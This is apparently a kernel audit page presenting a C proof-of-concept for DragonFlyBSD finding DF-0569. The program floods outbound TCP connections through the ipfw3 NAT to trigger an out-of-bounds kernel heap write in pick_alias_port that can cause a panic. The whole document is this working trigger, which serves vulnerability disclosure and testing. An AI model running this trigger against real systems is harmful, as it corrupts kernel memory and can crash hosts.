DragonFlyBSD Kernel Audit
DF-0569 / nat_oob_trigger_tcp.c
← back to finding ↓ download raw
/*
 * DF-0569 — NAT alias_port OOB write trigger (TCP variant).
 *
 * Drives many short outbound TCP connections through the ipfw3 NAT to
 * exercise pick_alias_port (ip_fw3_nat.c:436).  Each new TCP flow
 * creates a NAT state and stores the (byte-swapped) alias_port into
 * tcp_in[] without ntohs — an OOB heap write that fires ~1.56% of
 * the time.  The TCP path is MORE DANGEROUS than UDP because the OOB
 * writes go BEFORE tcp_in[] into the cfg_alias struct's own ip/next
 * fields or into the kernel heap preceding the allocation, rather
 * than into the harmless tail of tcp_in[] as with UDP.
 *
 * MUST be used with an SSH-protection rule (allow tcp src-port 22 out)
 * installed BEFORE the NAT rule, or SSH will break.
 *
 * Build:  cc -O2 -o nat_oob_trigger_tcp nat_oob_trigger_tcp.c
 * Run:    ./nat_oob_trigger_tcp <count> <dst_ip>
 */
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
    int count = (argc > 1) ? atoi(argv[1]) : 5000;
    const char *dst_ip = (argc > 2) ? argv[2] : "10.0.2.2";
    struct sockaddr_in dst;
    int i, connected = 0;

    signal(SIGPIPE, SIG_IGN);
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    inet_aton(dst_ip, &dst.sin_addr);

    fprintf(stderr, "DF-0569 TCP: driving %d outbound TCP connections to %s "
                    "(expect ~%.0f OOB writes at 1.56%%)\n",
            count, dst_ip, count * 0.0156);
    fprintf(stderr, "TCP OOB writes go BEFORE tcp_in[] into heap/struct => "
                    "more likely to panic\n");

    for (i = 0; i < count; i++) {
        int fd = socket(AF_INET, SOCK_STREAM, 0);
        if (fd < 0) {
            if (errno == EMFILE || errno == ENFILE) {
                usleep(10000);
                continue;
            }
            perror("socket");
            break;
        }
        struct timeval tv = { .tv_sec = 0, .tv_usec = 200000 };
        setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
        dst.sin_port = htons(1 + (i % 1000));
        int ret = connect(fd, (struct sockaddr *)&dst, sizeof(dst));
        if (ret == 0) connected++;
        close(fd);

        if ((i + 1) % 500 == 0)
            fprintf(stderr, "  %d/%d connections (%d connected)\n",
                    i + 1, count, connected);
    }

    printf("DF-0569 TCP: completed %d connection attempts (%d connected)\n",
           i, connected);
    printf("Each new connection called pick_alias_port; ~%.0f should have "
           "triggered OOB writes into heap BEFORE tcp_in[0].\n", i * 0.0156);
    return 0;
}